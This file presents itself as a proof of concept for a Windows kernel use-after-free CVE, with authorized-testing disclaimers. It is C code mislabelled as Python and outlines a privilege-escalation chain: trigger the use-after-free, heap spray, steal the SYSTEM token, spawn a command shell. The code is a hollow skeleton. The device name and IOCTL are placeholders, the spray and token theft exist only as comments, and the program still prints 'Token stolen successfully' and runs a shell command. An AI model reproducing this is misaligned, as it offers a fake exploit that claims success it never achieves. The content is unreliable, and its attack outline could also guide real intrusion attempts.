The following code is for security research and authorized testing only.
python
// CVE-2025-55693 - Windows Kernel Use After Free PoC (Educational Purpose Only)
// This is a conceptual PoC demonstrating the exploitation pattern for Windows Kernel UAF vulnerabilities.
// DO NOT use this against systems you do not own or have explicit permission to test.
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
// Define NTSTATUS for status code checking
typedef NTSTATUS(NTAPI* NtAllocateVirtualMemory_t)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
// Helper function to trigger the vulnerable code path
BOOL TriggerKernelUAF() {
// Step 1: Create multiple handles to a kernel object that will trigger the UAF
// The specific syscall depends on the vulnerable kernel component
HANDLE hDevice = CreateFileW(
L"\\\\.\\DeviceName", // Vulnerable device name
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open device handle\n");
return FALSE;
}
// Step 2: Send IOCTL to trigger the vulnerable code path
DWORD bytesReturned = 0;
BOOL result = DeviceIoControl(
hDevice,
0x222000, // Vulnerable IOCTL code
NULL, 0,
NULL, 0,
&bytesReturned,
NULL
);
// Step 3: Close handle to free the kernel object (triggers UAF)
CloseHandle(hDevice);
// Step 4: Reclaim the freed memory with controlled data (heap spray)
// This would typically involve allocating objects of the same size
// and overwriting the freed memory with a fake kernel object
return TRUE;
}
// Function to perform token stealing for privilege escalation
BOOL StealSystemToken() {
// This function would typically:
// 1. Locate the EPROCESS structure of the current process
// 2. Locate the EPROCESS structure of the System process (PID 4)
// 3. Copy the SYSTEM token pointer to the current process
// 4. This effectively elevates the current process to SYSTEM level
printf("[+] Attempting token stealing...\n");
// Note: Actual implementation requires kernel read/write primitives
// obtained through the UAF vulnerability
return TRUE;
}
int main(int argc, char* argv[]) {
printf("[*] CVE-2025-55693 - Windows Kernel UAF PoC\n");
printf("[*] For educational and authorized testing purposes only\n\n");
// Check if running with appropriate privileges
BOOL isAdmin = FALSE;
HANDLE hToken = NULL;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
TOKEN_ELEVATION elevation;
DWORD dwSize;
if (GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &dwSize)) {
isAdmin = elevation.TokenIsElevated;
}
CloseHandle(hToken);
}
if (isAdmin) {
printf("[!] Already running with elevated privileges\n");
return 0;
}
// Trigger the vulnerability
if (TriggerKernelUAF()) {
printf("[+] Vulnerability triggered successfully\n");
// Attempt privilege escalation
if (StealSystemToken()) {
printf("[+] Token stolen successfully\n");
// Execute command as SYSTEM
system("cmd.exe /c whoami && whoami /priv");
}
} else {
printf("[-] Failed to trigger vulnerability\n");
}
return 0;
}